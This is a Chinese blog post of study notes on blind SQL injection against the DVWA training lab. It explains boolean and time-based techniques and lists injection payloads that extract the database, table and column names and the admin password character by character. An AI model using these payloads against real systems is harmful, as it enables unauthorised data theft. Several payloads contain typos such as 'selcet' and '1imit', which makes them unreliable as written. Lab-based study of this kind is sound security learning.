自己盲注的

本文详细介绍了SQL注入中的盲注类型(布尔、时间、错误),并利用MySQL函数如length(),substr(),ascii()进行数据库名、数据表名和字段名的猜测。通过实例展示了如何利用时间盲注检测注入以及获取敏感信息的过程。
摘要由CSDN通过智能技术生成

SQL lnjection (Blind)里面

dvwa的用户名:admin

密码:passsword

盲注 1、定义: 注入的过程中,不提示详细的错误信息,给的提示用户不存在,找不到该文件等等,没有具体内容。 猜解获得相应的信息

2、分类: 布尔盲注:页面返回的信息类似于True或False,存在不存在,有无,对错。通过这两种状态,判断输入的SQL语句是否正确

exists:存在

missing:不存在

时间盲注:sleep()函数来改变返回的时间值,比如:如果出现指定延时,表示当前构造的SQL语句正确,否则,错误。

错误盲注:通过特定函数使用服务器返回错误信息显示在页面中,获取相关数据

3.常用的MySQL函数

(1)length(str) 获取字符串str的长度

获取数据库名的长度 length(database())

(2)substr(str,pos,len) str:被截取的字符串,pos:开始的位置,len:截取长度 apple---------pl截取

截取str的第一个位置开始的前两个字符

substr(str,1,2)

==注意第几个位置就是第几个位置,不需要从0开始==

截取str的,从1个位置开始,往后的全部字符

substr(str,1)

==获取全部的话len就不需要写==

(3)ascii(str)获得字符串的ascii值

ascii (A)------值65

str字符串,获得第5个字符的ascii码值

ascii(substr(str,5,1))

(4)count(col)获取数据库中有多少条记录 table name count(table_name)-------------获得table_name有多少条记录

(5)limit offset,rows---------------获得offset+1往后rows行 == 也就是从0开始算==

select from tableName limit 0,1 --------------- 获得数据表中的第一行数据

select from tableName limit 1,5 -------------------获得数据表中的第2行-第6行数据

(6)sleep(n)SQL语句被强制停留n秒 sleep(5)---------停止5秒

(7)if(条件,语句1,语句2)-----------如果满足条件,则执行语句1,否则执行语句2\

数据库名的长度为5,强制停留3秒,否则返回1

if (length(database()))=5,sleep(3),1)



 

流程

1.判断注入点

判断存在SQL注入

2.注入类型

构造SQL语句,判断字符型还是数字型

构造SQL语句: 如果是字符型:应该是什么结果,实际又是什么结果,一致就是字符型,不一致,假设不成立

后端存在'',1'and1=1#',实际上查询字符id='1',存在。实际结果也是存在

1' or '1' ='1

如果是数字型:应该是什么结果,实际又是什么结果,一致就是数字型,不一致,假设不成立

'and1=1#,报错,实际没有报错,与假设不一致,所以不是数字型

'1' or '1' = '1'

3.获得数据库名

题目:dvwa的user数据表

基本思路:先获得数据库名长度,再去一一获得它的每个字符(猜解法),比对ascii值

需要length(),substr(),ascii()

(1)判断长度

1'and length(database())=1#---不存在,长度不是1

1'and length(database())=2#

1'and length(database())=3#

1'and1 ength(database())=4#----存在,长度4

1'and length(database()<5#------存在

1'and length(database())>5#-------不存在

1'and1 ength(database())>2#----存在

1'and length(database()<2#------不存在

(2)猜解每个字符

获取第一个字符:substr(str,1,1)

构造前端输入:1'and ascii(substr(str,1,1))>65#

猜解过程

1'and ascii(substr(str,1,1))>98#-----存在

1'and ascii(substr(str,1,1))>110#------不存在

1'and ascii(substr(str,1,1))>100#-------不存在

1'and ascii(substr(str,1,1))<100#--------不存在

1'and ascii(substr(str,1,1))=100#---------存在

所以第一个为d

依次猜解得到库名为dvwa

4.获得数据表名

(1)个数

1'and1=1 1'and2>1

输入端:1'and table_schema=dwa的数据库中有多少行>或<或=#---------存在

1'and (select count(table name)from information schema.tables where table_schema='dvwa')<10#

1'and (select count(table_name)from information_schema.tables where table_schema=database())<5#

1'and (select count(table_name)from information_schema.tables where table_schema=database())<3#存在

1'and (select count(table_name)from information_schema.tables where table_schema=database())<1#不存在-------得出有两张数据表 1 and select table_name from information_schema.tables where count (table_name)='2

简化: 1'and1----- 后端:'1'and select table name from information schema.tables where count (table_name)=2' 结仑·获得数据耒个数)

输入端:1' and (select count(table_name) from information_schema.tables where table_schema=database())=2#-------存在

结论:获得数据表个数2

(2)获得第2个数据表记录

selcet table_name from information_schema.tables where table_schema ='dvwa' limit 1,1

(3)获得第2个数据表名的完整字符串

substr((selcet table_name from information_schema.tables where table_schema ='dvwa' limit 1,1 ),1)

(4)获取第2个数据表名字符串的长度 length(substr((selcet table_name from information_schema.tables where table_schema ='dvwa'1imit1,1),1))

猜解:users

1'and(length(substr((se1 cet table_name from information_schema.tables where table_schema='dvwa'1imit1,1),1))=5#---------成立,得到有5个字符

(5)猜解每个字符的ascii值

1'and substr((selcet table_name from information_schema.tables where table_schema='dvwa'limit1,1),1,1)=117#-----得到第一个字符是u

5.获得字段名

(1)猜解users表中有多少个字段

information_schema columns 库名、表名、字段 1'and select count(column_name)from information_schema.columns where table_name='users'and table_schema='dvwa'#

(2)猜解每个字段的长度

length获取长度 select column name from information schema.columns where table name='users'and table schema='dvwa'limit 3,1---------找到user字段

substr(str,1):截取这个字符串从第一个开始到结尾

1'and length(substr((select column_name from information_schema.columns where table_name='users'andtable_schema='dvwa'limit 3,1),1))=4#-------------

(3)猜解字段的每个字符

1'and ascii(substr((select column_name from information_schema.columns where table_name='users'and tab1e_schema='dwa'1imit3,1),1,1)=117#----存在,猜到117是对应那个字母u

6.获取user字段下面的数据admin

(1)猜解user下面有多少条记录

1'and select count( user) from dvwa.users =2#

(2)猜解每条记录的数据长度

length(substr(select count(user)from dvwa.users limit 0,1))=

(3)猜解每条记录中数据的每个字符

7、获取adming数据的password select password from users where user='admin' 库-表-字段-数据

时间盲注

用页面是否有延迟来进行sql注入攻击

sleep()函数,sleep(5)----延迟5秒

if(条件表达式,语句1,语句2);如果满足条件表达式,执行语句1,否则,执行语句2 if(猜解条件在这里,sleep(5),1)

1.判断注入类型

1 and sleep(3)----没有延迟 1'and sleep(3)#-----------延迟

说明是字符型

2、获取数据库名

(1)获取数据库名长度

1'and if((length(database())=4,sleep(5),1)#

(2)获取数据名的每个字符

1'and if (ascii(substr(database(),1,1))=100,sleep(5),1)#

3、获取数据表名

4、获取字段名

5、获取数据

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值